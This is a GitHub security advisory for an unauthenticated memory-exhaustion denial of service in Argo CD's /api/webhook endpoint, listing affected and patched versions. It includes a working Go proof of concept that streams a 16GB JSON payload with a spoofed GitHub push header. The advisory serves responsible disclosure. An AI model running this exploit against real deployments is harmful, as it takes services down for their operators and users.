GHSA-jmvp-698c-4x3w Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint

• Go github.com/argoproj/argo-cd: >= 1.0.0, <= 1.8.7 (no fix yet) • Go github.com/argoproj/argo-cd/v2: < 2.9.20 → fixed in 2.9.20 • Go github.com/argoproj/argo-cd/v2: >= 2.10.0, < 2.10.15 → fixed in 2.10.15 • Go github.com/argoproj/argo-cd/v2: >= 2.11.0, < 2.11.6 → fixed in 2.11.6

Summary This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments. Details The webhook server always listens to requests. By default, the endpoint doesn't require authentication. It's possible to send a large, malicious request with headers (in this case "X-GitHub-Event: push") that will make ArgoCD start allocating memory to parse the incoming request. Since the request can be constructed client-side without allocating large amounts of memory, it can be arbitrarily large. Eventually, the argocd-server component will get OOMKilled as it consumes all its available memory. The fix would be to enforce a limit on the size of the request being parsed. PoC Port-forward to the argocd-server service, like so: ```console kubectl port-forward svc/argocd-server -n argocd 8080:443 ``` Run the below code: ```go package main import ( "crypto/tls" "io" "net/http" ) // Define a custom io.Reader that generates a large dummy JSON payload. type DummyJSONReader struct { size int64 // Total size to generate read int64 // Bytes already generated } // Read generates the next chunk of the dummy JSON payload. func (r *DummyJSONReader) Read(p []byte) (n int, err error) { if r.read >= r.size { return 0, io.EOF // Finished generating } start := false if r.read == 0 { // Start of JSON p[0] = '{' p[1] = '"' p[2] = 'd' p[3] = 'a' p[4] = 't' p[5] = 'a' p[6] = '"' p[7] = ':' p[8] = '"' n = 9 start = true } for i := n; i < len(p); i++ { if r.read+int64(i)-int64(n)+1 == r.size-1 { // End of JSON p[i] = '"' p[i+1] = '}' r.read += int64(i) + 2 - int64(n) return i + 2 - n, nil } else { p[i] = 'x' // Dummy data } } r.read += int64(len(p)) - int64(n) if start { return len(p), nil } return len(p) - n, nil } func main() { // Initialize the custom reader with the desired size (16GB in this case). payloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB reader := &DummyJSONReader{size: payloadSize} // HTTP client setup httpClient := &http.Client{ Timeout: 0, // No timeout Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, } req, err := http.NewRequest("POST", "https://localhost:8080/api/webhook", reader) if err != nil { panic(err) } // Set headers req.Header.Set("Content-Type", "application/json") req.Header.Set("X-GitHub-Event", "push") resp, err := httpClient.Do(req) if err != nil { panic(err) } defer resp.Body.Close() println("Response status code:", resp.StatusCode) } ``` Patches A patch for this vulnerability has been released in the following Argo CD versions: v2.11.6 v2.10.15 v2.9.20 For more information If you have any questions or comments about this advisory: Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd Credits This vulnerability was found & reported by Jakub Ciolek The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue